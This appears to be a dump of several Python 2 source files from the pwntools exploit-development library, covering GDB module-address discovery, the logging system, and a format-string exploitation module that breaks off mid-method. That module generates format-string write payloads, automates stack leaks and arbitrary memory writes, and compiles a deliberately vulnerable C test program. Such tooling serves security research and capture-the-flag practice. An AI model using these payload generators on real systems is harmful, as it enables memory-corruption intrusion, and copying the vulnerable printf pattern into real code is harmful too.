    attach(('127.0.0.1', forwardport), execute, local_exe, arch)
    l.wait_for_connection() <> ssh.connect_remote('127.0.0.1', gdbport)
    return c

def find_module_addresses(binary, ssh=None, ulimit=False):
    """
    Cheat to find modules by using GDB.

    We can't use ``/proc/$pid/map`` since some servers forbid it.
    This breaks ``info proc`` in GDB, but ``info sharedlibrary`` still works.
    Additionally, ``info sharedlibrary`` works on FreeBSD, which may not have
    procfs enabled or accessible.

    The output looks like this:

    ::

        info proc mapping
        process 13961
        warning: unable to open /proc file '/proc/13961/maps'

        info sharedlibrary
        From        To          Syms Read   Shared Object Library
        0xf7fdc820  0xf7ff505f  Yes (*)     /lib/ld-linux.so.2
        0xf7fbb650  0xf7fc79f8  Yes         /lib32/libpthread.so.0
        0xf7e26f10  0xf7f5b51c  Yes (*)     /lib32/libc.so.6
        (*): Shared library is missing debugging information.

    Note that the raw addresses provided by ``info sharedlibrary`` are actually
    the address of the ``.text`` segment, not the image base address.

    This routine automates the entire process of:

    1. Downloading the binaries from the remote server
    2. Scraping GDB for the information
    3. Loading each library into an ELF
    4. Fixing up the base address vs. the ``.text`` segment address

    Arguments:
        binary(str): Path to the binary on the remote server
        ssh(pwnlib.tubes.tube): SSH connection through which to load the libraries.
            If left as ``None``, will use a ``pwnlib.tubes.process.process``.
        ulimit(bool): Set to ``True`` to run "ulimit -s unlimited" before GDB.

    Returns:
        A list of pwnlib.elf.ELF objects, with correct base addresses.

    Example:

    >>> with context.local(log_level=9999): # doctest: +SKIP
    ...     shell = ssh(host='bandit.labs.overthewire.org',user='bandit0',password='bandit0')
    ...     bash_libs = gdb.find_module_addresses('/bin/bash', shell)
    >>> os.path.basename(bash_libs[0].path) # doctest: +SKIP
    'libc.so.6'
    >>> hex(bash_libs[0].symbols['system']) # doctest: +SKIP
    '0x7ffff7634660'
    """
    #
    # Download all of the remote libraries
    #
    if ssh:
        runner     = ssh.run
        local_bin  = ssh.download_file(binary)
        local_elf  = elf.ELF(os.path.basename(binary))
        local_libs = ssh.libs(binary)

    else:
        runner     = tubes.process.process
        local_elf  = elf.ELF(binary)
        local_libs = local_elf.libs

    entry      = local_elf.header.e_entry

    #
    # Get the addresses from GDB
    #
    libs = {}
    cmd  = "gdb --args %s" % (binary)
    expr = re.compile(r'(0x\S+)[^/]+(.*)')

    if ulimit:
        cmd = 'sh -c "(ulimit -s unlimited; %s)"' % cmd

    cmd = shlex.split(cmd)

    with runner(cmd) as gdb:
        if context.aslr:
            gdb.sendline('set disable-randomization off')
        gdb.send("""
        set prompt
        break *%#x
        run
        """ % entry)
        gdb.clean(2)
        gdb.sendline('info sharedlibrary')
        lines = gdb.recvrepeat(2)

        for line in lines.splitlines():
            m = expr.match(line)
            if m:
                libs[m.group(2)] = int(m.group(1),16)
        gdb.sendline('kill')
        gdb.sendline('y')
        gdb.sendline('quit')

    #
    # Fix up all of the addresses against the .text address
    #
    rv = []

    for remote_path,text_address in sorted(libs.items()):
        # Match up the local copy to the remote path
        try:
            path     = next(p for p in local_libs.keys() if remote_path in p)
        except StopIteration:
            print "Skipping %r" % remote_path
            continue

        # Load it
        lib      = elf.ELF(path)

        # Find its text segment
        text     = lib.get_section_by_name('.text')

        # Fix the address
        lib.address = text_address - text.header.sh_addr
        rv.append(lib)

    return rv






"""
Logging module for printing status during an exploit, and internally
within ``pwntools``.

Exploit Developers
------------------
By using the standard ``from pwn import *``, an object named ``log`` will
be inserted into the global namespace.  You can use this to print out
status messages during exploitation.

For example,::

    log.info('Hello, world!')

prints::

    [*] Hello, world!

Additionally, there are some nifty mechanisms for performing status updates
on a running job (e.g. when brute-forcing).::

    p = log.progress('Working')
    p.status('Reticulating splines')
    time.sleep(1)
    p.success('Got a shell!')


The verbosity of logging can be most easily controlled by setting
``log_level`` on the global ``context`` object.::

    log.info("No you see me")
    context.log_level = 'error'
    log.info("Now you don't")

The purpose of this attribute is to control what gets printed to the screen,
not what gets emitted. This means that you can put all logging events into
a log file, while only wanting to see a small subset of them on your screen.

Pwnlib Developers
-----------------
A module-specific logger can be imported into the module via::

    from .log import getLogger
    log = getLogger(__name__)

This provides an easy way to filter logging programmatically
or via a configuration file for debugging.

When using ``progress``, you should use the ``with``
keyword to manage scoping, to ensure the spinner stops if an
exception is thrown.

Technical details
-----------------
Familiarity with the :mod:`logging` module is assumed.

A pwnlib root logger named 'pwnlib' is created and a custom handler and
formatter is installed for it.  The handler determines its logging level from
:data:`context.log_level`.

Ideally :data:`context.log_level` should only affect which records will be
emitted by the handler such that e.g. logging to a file will not be changed by
it. But for performance reasons it is not feasible log everything in the normal
case. In particular there are tight loops inside :mod:`pwnlib.tubes.tube`, which
we would like to be able to debug, but if we are not debugging them, they should
not spit out messages (even to a log file). For this reason there are a few places
inside pwnlib, that will not even emit a record without :data:`context.log_level`
being set to `logging.DEBUG` or below.

Log records created by ``Progress`` and ``Logger`` objects will set
``'pwnlib_msgtype'`` on the ``extra`` field to signal which kind of message was
generated.  This information is used by the formatter to prepend a symbol to the
message, e.g. ``'[+] '`` in ``'[+] got a shell!'``

This field is ignored when using the ``logging`` module's standard formatters.

All status updates (which are not dropped due to throttling) on progress loggers
result in a log record being created.  The ``extra`` field then carries a
reference to the ``Progress`` logger as ``'pwnlib_progress'``.

If the custom handler determines that :data:`term.term_mode` is enabled, log
records that have a ``'pwnlib_progess'`` in their ``extra`` field will not
result in a message being emitted but rather an animated progress line (with a
spinner!) being created.  Note that other handlers will still see a meaningful
log record.

The custom handler will only handle log records whith a level of at least
:data:`context.log_level`.  Thus if e.g. the level for the
``'pwnlib.tubes.ssh'`` is set to ``'DEBUG'`` no additional output will show up
unless :data:`context.log_level` is also set to ``'DEBUG'``.  Other handlers
will however see the extra log records generated by the ``'pwnlib.tubes.ssh'``
logger.
"""

__all__ = [
    'getLogger', 'install_default_handler', 'rootlogger'
]

import ConfigParser
import logging
import os
import random
import re
import sys
import threading
import time

from . import term
from .context import Thread
from .context import context
from .exception import PwnlibException
from .term import spinners
from .term import text

# list of prefixes to use for the different message types.  note that the `text`
# module won't add any escape codes if `sys.stderr.isatty()` is `False`
_msgtype_prefixes = {
    'status'       : [text.magenta, 'x'],
    'success'      : [text.bold_green, '+'],
    'failure'      : [text.bold_red, '-'],
    'debug'        : [text.bold_red, 'DEBUG'],
    'info'         : [text.bold_blue, '*'],
    'warning'      : [text.bold_yellow, '!'],
    'error'        : [text.on_red, 'ERROR'],
    'exception'    : [text.on_red, 'ERROR'],
    'critical'     : [text.on_red, 'CRITICAL'],
    'info_once'    : [text.bold_blue, '*'],
    'warning_once' : [text.bold_yellow, '!'],
    }


# permit setting logging colors from a configuration file
config = os.path.expanduser('~/.pwn.conf')
if os.path.exists(config):
    c = ConfigParser.ConfigParser()
    c.read([config])

    for section in c.sections():
        if section not in _msgtype_prefixes:
            continue

        for key, value in c.items(section):
            if key == 'color':
                try:
                    _msgtype_prefixes[section][0] = getattr(text, value)
                except AttributeError:
                    pass

            elif key == 'symbol':
                _msgtype_prefixes[section][1] = value


# the text decoration to use for spinners.  the spinners themselves can be found
# in the `pwnlib.term.spinners` module
_spinner_style = text.bold_blue

class Progress(object):
    """
    Progress logger used to generate log records associated with some running
    job.  Instances can be used as context managers which will automatically
    declare the running job a success upon exit or a failure upon a thrown
    exception.  After :meth:`success` or :meth:`failure` is called the status
    can no longer be updated.

    This class is intended for internal use.  Progress loggers should be created
    using :meth:`Logger.progress`.
    """
    def __init__(self, logger, msg, status, level, args, kwargs):
        global _progressid
        self._logger = logger
        self._msg = msg
        self._status = status
        self._level = level
        self._stopped = False
        self.last_status = 0
        self.rate = kwargs.pop('rate', 0)
        self._log(status, args, kwargs, 'status')
        # it is a common use case to create a logger and then immediately update
        # its status line, so we reset `last_status` to accomodate this pattern
        self.last_status = 0

    def _log(self, status, args, kwargs, msgtype):
        # this progress logger is stopped, so don't generate any more records
        if self._stopped:
            return
        msg = self._msg
        if msg and status:
            msg += ': '
        msg += status
        self._logger._log(self._level, msg, args, kwargs, msgtype, self)

    def status(self, status, *args, **kwargs):
        """status(status, *args, **kwargs)

        Logs a status update for the running job.

        If the progress logger is animated the status line will be updated in
        place.

        Status updates are throttled at one update per 100ms.
        """
        now = time.time()
        if (now - self.last_status) > self.rate:
            self.last_status = now
            self._log(status, args, kwargs, 'status')

    def success(self, status = 'Done', *args, **kwargs):
        """success(status = 'Done', *args, **kwargs)

        Logs that the running job succeeded.  No further status updates are
        allowed.

        If the Logger is animated, the animation is stopped.
        """
        self._log(status, args, kwargs, 'success')
        self._stopped = True

    def failure(self, status = 'Failed', *args, **kwargs):
        """failure(message)

        Logs that the running job failed.  No further status updates are
        allowed.

        If the Logger is animated, the animation is stopped.
        """
        self._log(status, args, kwargs, 'failure')
        self._stopped = True

    def __enter__(self):
        return self

    def __exit__(self, exc_typ, exc_val, exc_tb):
        # if the progress logger is already stopped these are no-ops
        if exc_typ is None:
            self.success()
        else:
            self.failure()

class Logger(object):
    """
    A class akin to the :class:`logging.LoggerAdapter` class.  All public
    methods defined on :class:`logging.Logger` instances are defined on this
    class.

    Also adds some ``pwnlib`` flavor:

    * :meth:`progress` (alias :meth:`waitfor`)
    * :meth:`success`
    * :meth:`failure`
    * :meth:`indented`
    * :meth:`info_once`
    * :meth:`warning_once` (alias :meth:`warn_once`)

    Adds ``pwnlib``-specific information for coloring, indentation and progress
    logging via log records ``extra`` field.

    Loggers instantiated with :func:`getLogger` will be of this class.
    """
    _one_time_infos    = set()
    _one_time_warnings = set()

    def __init__(self, logger=None):
        if logger is None:
            # This is a minor hack to permit user-defined classes which inherit
            # from a tube (which do not actually reside in the pwnlib library)
            # to receive logging abilities that behave as they would expect from
            # the resto f the library
            module = self.__module__
            if not module.startswith('pwnlib'):
                module = 'pwnlib.' + module
            # - end hack -

            logger_name = '%s.%s.%s' % (module, self.__class__.__name__, id(self))
            logger = logging.getLogger(logger_name)

        self._logger = logger

    def _getlevel(self, levelString):
        if isinstance(levelString, int):
            return levelString
        return logging._levelNames[levelString.upper()]

    def _log(self, level, msg, args, kwargs, msgtype, progress = None):
        extra = kwargs.get('extra', {})
        extra.setdefault('pwnlib_msgtype', msgtype)
        extra.setdefault('pwnlib_progress', progress)
        kwargs['extra'] = extra
        self._logger.log(level, msg, *args, **kwargs)

    def progress(self, message, status = '', *args, **kwargs):
        """progress(message, status = '', *args, level = logging.INFO, **kwargs) -> Progress

        Creates a new progress logger which creates log records with log level
        `level`.

        Progress status can be updated using :meth:`Progress.status` and stopped
        using :meth:`Progress.success` or :meth:`Progress.failure`.

        If `term.term_mode` is enabled the progress logger will be animated.

        The progress manager also functions as a context manager.  Using context
        managers ensures that animations stop even if an exception is raised.

        .. code-block:: python

           with log.progress('Trying something...') as p:
               for i in range(10):
                   p.status("At %i" % i)
                   time.sleep(0.5)
               x = 1/0
        """
        level = self._getlevel(kwargs.pop('level', logging.INFO))
        return Progress(self, message, status, level, args, kwargs)

    def waitfor(self, *args, **kwargs):
        """Alias for :meth:`progress`."""
        return self.progress(*args, **kwargs)

    def indented(self, message, *args, **kwargs):
        """indented(message, *args, level = logging.INFO, **kwargs)

        Log a message but don't put a line prefix on it.

        Arguments:
            level(int): Alternate log level at which to set the indented
                        message.  Defaults to :const:`logging.INFO`.
        """
        level = self._getlevel(kwargs.pop('level', logging.INFO))
        self._log(level, message, args, kwargs, 'indented')

    def success(self, message, *args, **kwargs):
        """success(message, *args, **kwargs)

        Logs a success message.
        """
        self._log(logging.INFO, message, args, kwargs, 'success')

    def failure(self, message, *args, **kwargs):
        """failure(message, *args, **kwargs)

        Logs a failure message.
        """
        self._log(logging.INFO, message, args, kwargs, 'failure')

    def info_once(self, message, *args, **kwargs):
        """info_once(message, *args, **kwargs)

        Logs an info message.  The same message is never printed again.
        """
        m = message % args
        if m not in self._one_time_infos:
            if self.isEnabledFor(logging.INFO):
                self._one_time_infos.add(m)
            self._log(logging.INFO, message, args, kwargs, 'info_once')

    def warning_once(self, message, *args, **kwargs):
        """warning_once(message, *args, **kwargs)

        Logs a warning message.  The same message is never printed again.
        """
        m = message % args
        if m not in self._one_time_warnings:
            if self.isEnabledFor(logging.INFO):
                self._one_time_warnings.add(m)
            self._log(logging.WARNING, message, args, kwargs, 'warning_once')

    def warn_once(self, *args, **kwargs):
        """Alias for :meth:`warning_once`."""
        return self.warning_once(*args, **kwargs)

    # logging functions also exposed by `logging.Logger`

    def debug(self, message, *args, **kwargs):
        """debug(message, *args, **kwargs)

        Logs a debug message.
        """
        self._log(logging.DEBUG, message, args, kwargs, 'debug')

    def info(self, message, *args, **kwargs):
        """info(message, *args, **kwargs)

        Logs an info message.
        """
        self._log(logging.INFO, message, args, kwargs, 'info')

    def hexdump(self, message, *args, **kwargs):
        # cyclic dependencies FTW!
        # TODO: Move pwnlib.util.fiddling.hexdump into a new module.
        import pwnlib.util.fiddling

        self.info(pwnlib.util.fiddling.hexdump(message, *args, **kwargs))


    def warning(self, message, *args, **kwargs):
        """warning(message, *args, **kwargs)

        Logs a warning message.
        """
        self._log(logging.WARNING, message, args, kwargs, 'warning')

    def warn(self, *args, **kwargs):
        """Alias for :meth:`warning`."""
        return self.warning(*args, **kwargs)

    def error(self, message, *args, **kwargs):
        """error(message, *args, **kwargs)

        To be called outside an exception handler.

        Logs an error message, then raises a ``PwnlibException``.
        """
        self._log(logging.ERROR, message, args, kwargs, 'error')
        raise PwnlibException(message % args)

    def exception(self, message, *args, **kwargs):
        """exception(message, *args, **kwargs)

        To be called from an exception handler.

        Logs a error message, then re-raises the current exception.
        """
        kwargs["exc_info"] = 1
        self._log(logging.ERROR, message, args, kwargs, 'exception')
        raise

    def critical(self, message, *args, **kwargs):
        """critical(message, *args, **kwargs)

        Logs a critical message.
        """
        self._log(logging.CRITICAL, message, args, kwargs, 'critical')

    def log(self, level, message, *args, **kwargs):
        """log(level, message, *args, **kwargs)

        Logs a message with log level `level`.  The ``pwnlib`` formatter will
        use the default :mod:`logging` formater to format this message.
        """
        self._log(level, message, args, kwargs, None)

    def isEnabledFor(self, level):
        """isEnabledFor(level) -> bool

        See if the underlying logger is enabled for the specified level.
        """
        effectiveLevel = self._logger.getEffectiveLevel()

        if effectiveLevel == 1:
            effectiveLevel = context.log_level
        return effectiveLevel <= level

    def setLevel(self, level):
        """setLevel(level)

        Set the logging level for the underlying logger.
        """
        with context.local(log_level=level):
            self._logger.setLevel(context.log_level)

    def addHandler(self, handler):
        """addHandler(handler)

        Add the specified handler to the underlying logger.
        """
        self._logger.addHandler(handler)

    def removeHandler(self, handler):
        """removeHandler(handler)

        Remove the specified handler from the underlying logger.
        """
        self._logger.removeHandler(handler)

    @property
    def level(self):
        return self._logger.level
    @level.setter
    def level(self, value):
        with context.local(log_level=value):
            self._logger.level = context.log_level


class Handler(logging.StreamHandler):
    """
    A custom handler class.  This class will report whatever
    :data:`context.log_level` is currently set to as its log level.

    If :data:`term.term_mode` is enabled log records originating from a progress
    logger will not be emitted but rather an animated progress line will be
    created.

    This handler outputs to ``sys.stderr``.

    An instance of this handler is added to the ``'pwnlib'`` logger.
    """
    def emit(self, record):
        """
        Emit a log record or create/update an animated progress logger
        depending on whether :data:`term.term_mode` is enabled.
        """
        # We have set the root 'pwnlib' logger to have a logLevel of 1,
        # when logging has been enabled via install_default_handler.
        #
        # If the level is 1, we should only process the record if
        # context.log_level is less than the record's log level.
        #
        # If the level is not 1, somebody else expressly set the log
        # level somewhere on the tree, and we should use that value.
        level = logging.getLogger(record.name).getEffectiveLevel()
        if level == 1:
            level = context.log_level
        if level > record.levelno:
            return

        progress = getattr(record, 'pwnlib_progress', None)

        # if the record originates from a `Progress` object and term handling
        # is enabled we can have animated spinners! so check that
        if progress is None or not term.term_mode:
            super(Handler, self).emit(record)
            return

        # yay, spinners!

        # since we want to be able to update the spinner we overwrite the
        # message type so that the formatter doesn't output a prefix symbol
        msgtype = record.pwnlib_msgtype
        record.pwnlib_msgtype = 'animated'
        msg = "%s\n" % self.format(record)

        # we enrich the `Progress` object to keep track of the spinner
        if not hasattr(progress, '_spinner_handle'):
            spinner_handle = term.output('')
            msg_handle = term.output(msg)
            stop = threading.Event()
            def spin():
                '''Wheeeee!'''
                state = 0
                states = random.choice(spinners.spinners)
                while True:
                    prefix = '[%s] ' % _spinner_style(states[state])
                    spinner_handle.update(prefix)
                    state = (state + 1) % len(states)
                    if stop.wait(0.1):
                        break
            t = Thread(target = spin)
            t.daemon = True
            t.start()
            progress._spinner_handle = spinner_handle
            progress._msg_handle = msg_handle
            progress._stop_event = stop
            progress._spinner_thread = t
        else:
            progress._msg_handle.update(msg)

        # if the message type was not a status message update, then we should
        # stop the spinner
        if msgtype != 'status':
            progress._stop_event.set()
            progress._spinner_thread.join()
            style, symb = _msgtype_prefixes[msgtype]
            prefix = '[%s] ' % style(symb)
            progress._spinner_handle.update(prefix)

class Formatter(logging.Formatter):
    """
    Logging formatter which performs custom formatting for log records
    containing the ``'pwnlib_msgtype'`` attribute.  Other records are formatted
    using the `logging` modules default formatter.

    If ``'pwnlib_msgtype'`` is set, it performs the following actions:

    * A prefix looked up in `_msgtype_prefixes` is prepended to the message.
    * The message is prefixed such that it starts on column four.
    * If the message spans multiple lines they are split, and all subsequent
      lines are indented.

    This formatter is used by the handler installed on the ``'pwnlib'`` logger.
    """

    # Indentation from the left side of the terminal.
    # All log messages will be indented at list this far.
    indent    = '    '

    # Newline, followed by an indent.  Used to wrap multiple lines.
    nlindent  = '\n' + indent

    def format(self, record):
        # use the default formatter to actually format the record
        msg = super(Formatter, self).format(record)

        # then put on a prefix symbol according to the message type

        msgtype = getattr(record, 'pwnlib_msgtype', None)

        # if 'pwnlib_msgtype' is not set (or set to `None`) we just return the
        # message as it is
        if msgtype is None:
            return msg

        if msgtype in _msgtype_prefixes:
            style, symb = _msgtype_prefixes[msgtype]
            prefix = '[%s] ' % style(symb)
        elif msgtype == 'indented':
            prefix = self.indent
        elif msgtype == 'animated':
            # the handler will take care of updating the spinner, so we will
            # not include it here
            prefix = ''
        else:
            # this should never happen
            prefix = '[?] '

        msg = prefix + msg
        msg = self.nlindent.join(msg.splitlines())
        return msg

# we keep a dictionary of loggers such that multiple calls to `getLogger` with
# the same name will return the same logger
def getLogger(name):
    return Logger(logging.getLogger(name))

class LogfileHandler(logging.FileHandler):
    def __init__(self):
        super(LogfileHandler, self).__init__('', delay=1)
    @property
    def stream(self):
        return context.log_file
    @stream.setter
    def stream(self, value):
        pass
    def handle(self, *a, **kw):
        if self.stream.name is not None:
            super(LogfileHandler, self).handle(*a, **kw)

iso_8601 = '%Y-%m-%dT%H:%M:%S'
fmt      = '%(asctime)s:%(levelname)s:%(name)s:%(message)s'
log_file = LogfileHandler()
log_file.setFormatter(logging.Formatter(fmt, iso_8601))

#
# The root 'pwnlib' logger is declared here.  To change the target of all
# 'pwntools'-specific logging, only this logger needs to be changed.
#
# Logging cascades upward through the heirarchy,
# so the only point that should ever need to be
# modified is the root 'pwnlib' logger.
#
# For example:
#     map(rootlogger.removeHandler, rootlogger.handlers)
#     logger.addHandler(myCoolPitchingHandler)
#
rootlogger = getLogger('pwnlib')
console   = Handler(sys.stdout)
formatter = Formatter()
console.setFormatter(formatter)

def install_default_handler():
    '''install_default_handler()

    Instantiates a :class:`Handler` and :class:`Formatter` and installs them for
    the ``pwnlib`` root logger.  This function is automatically called from when
    importing :mod:`pwn`.
    '''
    console.stream = sys.stdout

    logger         = logging.getLogger('pwnlib')

    if console not in logger.handlers:
        logger.addHandler(console)
        logger.addHandler(log_file)

    logger.setLevel(1)






"""
Module-level documentation would go here, along with a general description
of the functionality.  You can also add module-level doctests.

You can see what the documentation for this module will look like here:
https://docs.pwntools.com/en/stable/testexample.html

The tests for this module are run when the documentation is automatically-generated
by Sphinx.  This particular module is invoked by an "automodule" directive, which
imports everything in the module, or everything listed in ``__all__`` in the module.

The doctests are automatically picked up by the ``>>>`` symbol, like from
the Python prompt.  For more on doctests, see the `Python documentation
<https://docs.python.org/2/library/doctest.html>`_.

All of the syntax in this file is ReStructuredText.  You can find a
`nice cheat sheet here <https://goo.gl/qEKFIu>`_.

Here's an example of a module-level doctest:

    >>> add(3, add(2, add(1, 0)))
    6

If doctests are wrong / broken, you can disable them temporarily.

    >>> add(2, 2) # doctest: +SKIP
    5

Some things in Python are non-deterministic, like ``dict`` or ``set``
ordering.  There are a lot of ways to work around this, but the
accepted way of doing this is to test for equality.

    >>> a = {a:a+1 for a in range(3)}
    >>> a == {0:1, 1:2, 2:3}
    True

In order to use other modules, they need to be imported from the RST
which documents the module.

    >>> os.path.basename('foo/bar')
    'bar'

"""

def add(a, b):
    '''add(a, b) -> int

    Adds the numbers ``a`` and ``b``.

    Arguments:
        a(int): First number to add
        b(int): Second number to add

    Returns:
        The sum of ``a`` and ``b``.

    Examples:

        >>> add(1,2)
        3
        >>> add(-1, 33)
        32
    '''
    return a+b






"""Improved replacements for standard functions
"""

import time as __time


def sleep(n):
    """sleep(n)

    Replacement for :func:`time.sleep()`, which does not return if a signal is received.

    Arguments:
      n (int):  Number of seconds to sleep.
    """
    end = __time.time() + n
    while True:
        left = end - __time.time()
        if left <= 0:
            break
        __time.sleep(left)






r"""
Provide some tools to exploit format string bug

Examples:

    >>> program = tempfile.mktemp()
    >>> source  = program + ".c"
    >>> write(source, '''
    ... #include <stdio.h>
    ... #include <stdlib.h>
    ... #include <unistd.h>
    ... #include <sys/mman.h>
    ... #define MEMORY_ADDRESS ((void*)0x11111000)
    ... #define MEMORY_SIZE 1024
    ... #define TARGET ((int *) 0x11111110)
    ... int main(int argc, char const *argv[])
    ... {
    ...        char buff[1024];
    ...        void *ptr = NULL;
    ...        int *my_var = TARGET;
    ...        ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
    ...        if(ptr != MEMORY_ADDRESS)
    ...        {
    ...                perror("mmap");
    ...                return EXIT_FAILURE;
    ...        }
    ...        *my_var = 0x41414141;
    ...        write(1, &my_var, sizeof(int *));
    ...        scanf("%s", buff);
    ...        dprintf(2, buff);
    ...        write(1, my_var, sizeof(int));
    ...        return 0;
    ... }''')
    >>> cmdline = ["gcc", source, "-Wno-format-security", "-m32", "-o", program]
    >>> process(cmdline).wait_for_close()
    >>> def exec_fmt(payload):
    ...     p = process(program)
    ...     p.sendline(payload)
    ...     return p.recvall()
    ...
    >>> autofmt = FmtStr(exec_fmt)
    >>> offset = autofmt.offset
    >>> p = process(program, stderr=subprocess.PIPE)
    >>> addr = unpack(p.recv(4))
    >>> payload = fmtstr_payload(offset, {addr: 0x1337babe})
    >>> p.sendline(payload)
    >>> print hex(unpack(p.recv(4)))
    0x1337babe

Example - Payload generation
^^^^^^^^^^^^^^^^^^^^^^^^^^^^

.. code-block:: python

    # we want to do 3 writes
    writes = {0x08041337:   0xbfffffff,
              0x08041337+4: 0x1337babe,
              0x08041337+8: 0xdeadbeef}

    # the printf() call already writes some bytes
    # for example :
    # strcat(dest, "blabla :", 256);
    # strcat(dest, your_input, 256);
    # printf(dest);
    # Here, numbwritten parameter must be 8
    payload = fmtstr_payload(5, writes, numbwritten=8)

Example - Automated exploitation
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

.. code-block:: python

	# Assume a process that reads a string
	# and gives this string as the first argument
	# of a printf() call
	# It do this indefinitely
	p = process('./vulnerable')

	# Function called in order to send a payload
	def send_payload(payload):
		log.info("payload = %s" % repr(payload))
		p.sendline(payload)
		return p.recv()

	# Create a FmtStr object and give to him the function
	format_string = FmtStr(execute_fmt=send_payload)
	format_string.write(0x0, 0x1337babe) # write 0x1337babe at 0x0
	format_string.write(0x1337babe, 0x0) # write 0x0 at 0x1337babe
	format_string.execute_writes()

"""
import logging
import re

from pwnlib.log import getLogger
from pwnlib.memleak import MemLeak
from pwnlib.util.cyclic import *
from pwnlib.util.fiddling import randoms
from pwnlib.util.packing import *

log = getLogger(__name__)

def fmtstr_payload(offset, writes, numbwritten=0, write_size='byte'):
    r"""fmtstr_payload(offset, writes, numbwritten=0, write_size='byte') -> str

    Makes payload with given parameter.
    It can generate payload for 32 or 64 bits architectures.
    The size of the addr is taken from ``context.bits``

    Arguments:
        offset(int): the first formatter's offset you control
        writes(dict): dict with addr, value ``{addr: value, addr2: value2}``
        numbwritten(int): number of byte already written by the printf function
        write_size(str): must be ``byte``, ``short`` or ``int``. Tells if you want to write byte by byte, short by short or int by int (hhn, hn or n)
    Returns:
        The payload in order to do needed writes

    Examples:
        >>> context.clear(arch = 'amd64')
        >>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int'))
        '\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00%322419374c%1$n%3972547906c%2$n'
        >>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short'))
        '\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00%47774c%1$hn%22649c%2$hn%60617c%3$hn%4$hn'
        >>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte'))
        '\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00%126c%1$hhn%252c%2$hhn%125c%3$hhn%220c%4$hhn%237c%5$hhn%6$hhn%7$hhn%8$hhn'
        >>> context.clear(arch = 'i386')
        >>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int'))
        '\x00\x00\x00\x00%322419386c%1$n'
        >>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short'))
        '\x00\x00\x00\x00\x02\x00\x00\x00%47798c%1$hn%22649c%2$hn'
        >>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte'))
        '\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00%174c%1$hhn%252c%2$hhn%125c%3$hhn%220c%4$hhn'

    """

    # 'byte': (number, step, mask, format, decalage)
    config = {
        32 : {
            'byte': (4, 1, 0xFF, 'hh', 8),
            'short': (2, 2, 0xFFFF, 'h', 16),
            'int': (1, 4, 0xFFFFFFFF, '', 32)},
        64 : {
            'byte': (8, 1, 0xFF, 'hh', 8),
            'short': (4, 2, 0xFFFF, 'h', 16),
            'int': (2, 4, 0xFFFFFFFF, '', 32)
        }
    }

    if write_size not in ['byte', 'short', 'int']:
        log.error("write_size must be 'byte', 'short' or 'int'")

    number, step, mask, formatz, decalage = config[context.bits][write_size]

    # add wheres
    payload = ""
    for where, what in writes.items():
        for i in range(0, number*step, step):
            payload += pack(where+i)

    numbwritten += len(payload)
    fmtCount = 0
    for where, what in writes.items():
        for i in range(0, number):
            current = what & mask
            if numbwritten & mask <= current:
                to_add = current - (numbwritten & mask)
            else:
                to_add = (current | (mask+1)) - (numbwritten & mask)

            if to_add != 0:
                payload += "%{}c".format(to_add)
            payload += "%{}${}n".format(offset + fmtCount, formatz)

            numbwritten += to_add
            what >>= decalage
            fmtCount += 1

    return payload

class FmtStr(object):
    """
    Provides an automated format string exploitation.

    It takes a function which is called every time the automated
    process want to communicate with the vulnerable process. this
    function takes a parameter with the payload that you have to
    send to the vulnerable process and must return the process
    returns.

    If the `offset` parameter is not given, then try to find the right
    offset by leaking stack data.

    Arguments:
            execute_fmt(function): function to call for communicate with the vulnerable process
            offset(int): the first formatter's offset you control
            padlen(int): size of the pad you want to add before the payload
            numbwritten(int): number of already written bytes

    """

    def __init__(self, execute_fmt, offset = None, padlen = 0, numbwritten = 0):
        """
        Instantiates an object which try to automating exploit the vulnerable process

        Arguments:
            execute_fmt(function): function to call for communicate with the vulnerable process
            offset(int): the first formatter's offset you control
            padlen(int): size of the pad you want to add before the payload
            numbwritten(int): number of already written bytes
        """
        self.execute_fmt = execute_fmt
        self.offset = offset
        self.padlen = padlen
        self.numbwritten = numbwritten


        if self.offset == None:
            self.offset, self.padlen = self.find_offset()
            log.info("Found format string offset: %d", self.offset)

        self.writes = {}
        self.leaker = MemLeak(self._leaker)

    def leak_stack(self, offset, prefix=""):
        leak = self.execute_fmt(prefix+"START%{}$pEND".format(offset))
        try:
            leak = re.findall(r"START(.*)END", leak, re.MULTILINE | re.DOTALL)[0]
            leak = int(leak, 16)
        except ValueError:
            leak = 0
        return leak

    def find_offset(self):
        marker = cyclic(20)
        for off in range(1,1000):
            leak = self.leak_stack(off, marker)
            leak = pack(leak)

            pad = cyclic_find(leak)
            if pad >= 0 and pad < 20:
                return off, pad
        else:
            log.error("Could not find offset to format string on stack")
            return None, None

    def _leaker(self, addr):
        # Hack: elfheaders often start at offset 0 in a page,
        # but we often can't leak addresses containing null bytes,
        # and the page below elfheaders is often not mapped.
        # Thus the solution to this problem is to check if the next 3 bytes are
        # "ELF" and if so we lie and leak "\x7f"
        # unless it is leaked otherwise.
        if addr & 0xfff == 0 and self.leaker._leak(addr+1, 3, False) == "ELF":
            return "\x7f"

        fmtstr = randoms(self.padlen) + pack(addr) + "START%%%d$sEND" % self.offset

        leak = self.execute_fmt(fmtstr)
        leak = re.findall(r"START(.*)END", leak, re.MULTILINE | re.DOTALL)[0]

        leak += "\x00"

        return leak

    def execute_writes(self):
        """execute_writes() -> None

        Makes payload and send it to the vulnerable process

        Returns:
            None

        """
        fmtstr = randoms(self.padlen)
